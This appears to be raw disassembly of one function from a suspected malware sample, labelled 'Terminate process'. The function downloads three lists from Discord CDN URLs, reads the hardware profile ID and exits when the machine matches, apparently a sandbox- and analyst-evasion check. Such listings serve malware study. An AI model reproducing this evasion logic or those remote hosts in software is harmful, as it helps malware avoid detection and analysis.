Function at 0x4021c8
Capabilities:
Terminate process

Disassembly:
push 0x27c
mov eax, 0x40567c
call fcn.00405237
xor eax, eax
lea edi, [ebp - 0x70]
xor ecx, ecx
mov dword [ebp - 4], ecx
stosd dword es:[edi], eax
push 7
pop ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ebx
mov word [ebp - 0x70], ax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], ebx
mov word [ebp - 0x58], ax
lea edi, [ebp - 0x40]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ebx
mov word [ebp - 0x40], ax
lea edi, [ebp - 0x88]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ebx
mov word [ebp - 0x88], ax
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x90], esp
push 0x4065a8
call fcn.00403097
sub esp, 0x18
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x94], esp
push 0x4065ac
call fcn.00403097
sub esp, 0x18
mov byte [ebp - 4], 6
mov ecx, esp
mov esi, str.https:__cdn.discordapp.com_attachments_1177220389659758635_1177233345881587752_wid.txt_ex6571c2fdis655f4dfdhm9975ab50942b291bf0325d3d5178867263f056d3b56e9a58c5f5eba9eebc732e
push esi
call fcn.00403097
push 0x62
pop edi
push edi
xor eax, eax
mov byte [ebp - 4], 4
push eax
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp + 8]
call fcn.0040160a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8c], esp
push 0x4065a8
call fcn.00403097
sub esp, 0x18
mov byte [ebp - 4], bl
mov ecx, esp
mov dword [ebp - 0x94], esp
mov ebx, 0x4065ac
push ebx
call fcn.00403097
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
push esi
call fcn.00403097
push edi
xor esi, esi
mov byte [ebp - 4], 4
push esi
push esi
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp + 8]
call fcn.0040160a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8c], esp
push 0x4065a8
call fcn.00403097
sub esp, 0x18
mov byte [ebp - 4], 9
mov ecx, esp
mov dword [ebp - 0x94], esp
push ebx
call fcn.00403097
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
push str.https:__cdn.discordapp.com_attachments_1177220389659758635_1177233308745207839_dmns.txt_ex6571c2f4is655f4df4hm624173ac38056fc728fe309b5e419251c02b043497a920318c361acd8dd6da07
call fcn.00403097
push edi
push esi
push esi
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp + 8]
call fcn.0040160a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8c], esp
push 0x4065a8
call fcn.00403097
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov ecx, esp
mov dword [ebp - 0x94], esp
push ebx
call fcn.00403097
sub esp, 0x18
mov byte [ebp - 4], 0xc
mov ecx, esp
push str.https:__cdn.discordapp.com_attachments_1177220389659758635_1177233388407640194_pnms.txt_ex6571c307is655f4e07hm237c84c67fb267189d99db7d1c23cfbffc55dfccdc8a1951242a255be2d28e3b
call fcn.00403097
push edi
push esi
push esi
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp + 8]
call fcn.0040160a
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
push 0x3d
pop ecx
lea esi, [ebp - 0x288]
lea edi, [ebp - 0x190]
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x18c]
xor esi, esi
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, si
jne 0x4023af
sub edx, ecx
lea eax, [ebp - 0x18c]
push 8
pop ebx
sar edx, 1
lea ecx, [ebp - 0x70]
cmp dword [ebp - 0x5c], ebx
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push ecx
call fcn.0040377e
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402551
push 0x4065a8
lea ecx, [ebp - 0x28]
call fcn.00403097
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x58]
cmp dword [ebp - 0x44], ebx
lea esi, [ebp - 0x58]
mov eax, dword [ebp - 0x48]
cmovae ecx, dword [ebp - 0x58]
cmovae esi, dword [ebp - 0x58]
lea edi, [ecx + eax*2]
jmp 0x40246b
movzx eax, word [esi]
cmp ax, cx
lea ecx, [ebp - 0x28]
jne 0x402462
cmp dword [0x409184], ebx
mov edx, 0x409170
mov eax, dword [ebp - 0x18]
cmovae edx, dword [0x409170]
cmp dword [ebp - 0x14], ebx
cmovae ecx, dword [ebp - 0x28]
cmp eax, dword [0x409180]
jne 0x402450
push eax
call fcn.00403472
pop ecx
test eax, eax
je 0x402551
xor eax, eax
lea ecx, [ebp - 0x28]
push eax
push 0x4065a8
call fcn.0040331a
jmp 0x402468
push eax
call fcn.0040302a
add esi, 2
push 0x7c
pop ecx
cmp esi, edi
jne 0x402412
xor eax, eax
lea ecx, [ebp - 0x28]
push eax
push 0x4065a8
call fcn.0040331a
cmp dword [ebp - 0x2c], ebx
lea ecx, [ebp - 0x40]
mov eax, dword [ebp - 0x30]
lea esi, [ebp - 0x40]
cmovae ecx, dword [ebp - 0x40]
cmovae esi, dword [ebp - 0x40]
lea edi, [ecx + eax*2]
jmp 0x4024f3
movzx eax, word [esi]
push 0x7c
pop ecx
cmp ax, cx
lea ecx, [ebp - 0x28]
jne 0x4024ea
cmp dword [0x40919c], ebx
mov edx, 0x409188
mov eax, dword [ebp - 0x18]
cmovae edx, dword [0x409188]
cmp dword [ebp - 0x14], ebx
cmovae ecx, dword [ebp - 0x28]
cmp eax, dword [0x409198]
jne 0x4024d8
push eax
call fcn.00403472
pop ecx
test eax, eax
je 0x402551
xor eax, eax
lea ecx, [ebp - 0x28]
push eax
push 0x4065a8
call fcn.0040331a
jmp 0x4024f0
push eax
call fcn.0040302a
add esi, 2
cmp esi, edi
jne 0x40249b
sub esp, 0x18
lea eax, [ebp - 0x88]
mov ecx, esp
push eax
call fcn.004030d6
call fcn.00402092
add esp, 0x18
lea ecx, [ebp - 0x28]
call fcn.004032ef
lea ecx, [ebp - 0x88]
call fcn.004032ef
lea ecx, [ebp - 0x40]
call fcn.004032ef
lea ecx, [ebp - 0x58]
call fcn.004032ef
lea ecx, [ebp - 0x70]
call fcn.004032ef
lea ecx, [ebp + 0x14]
call fcn.004031b4
lea ecx, [ebp + 8]
call fcn.0040329f
call fcn.004051f5
ret
xor eax, eax
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3